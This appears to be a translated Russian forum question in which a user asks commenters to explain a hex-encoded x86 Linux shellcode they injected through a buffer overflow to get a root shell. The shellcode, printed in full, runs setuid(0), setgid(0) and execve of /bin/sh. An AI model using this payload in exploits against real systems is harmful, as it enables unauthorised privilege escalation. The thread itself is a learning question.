Я вызываю шеллкод с использованием переполнения буфера, чтобы создать корневую оболочку. Может кто-нибудь объяснить, что именно делает этот шеллкод? Я попробовал разные shellcodes, чтобы создать корневую оболочку, но это был единственный, который работал для меня.Интерпретация shellcode
\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb
\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68
\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd
\x80
Вы не говорите, как вы пытались найти ответ. Либо вы пробовали какой-то метод, и должны были спросить: почему в этом случае не работает метод X, или вы не знаете какого-либо такого метода, и должен был спросить: как решить такую проблему. Теперь вы просто сбрасываете нечитаемый шестнадцатеричный код и оставляете его нам понятным. –
Знаете ли вы, что такое «код оболочки»? Какие эти шестнадцатеричные числа * представляют *? – usr2564301
@Hans Lub То, что я делаю, это перезаписать указатель vtable в коде C++. У меня очень ограниченное знание языка ассемблера, поэтому, когда я преобразовал этот код в сборку, я не смог сказать, что происходит. Поэтому я понимаю, как работает весь процесс переполнения, единственное, что неясно, что делает этот шеллкод. Я видел подобные вопросы на этом сайте. – robert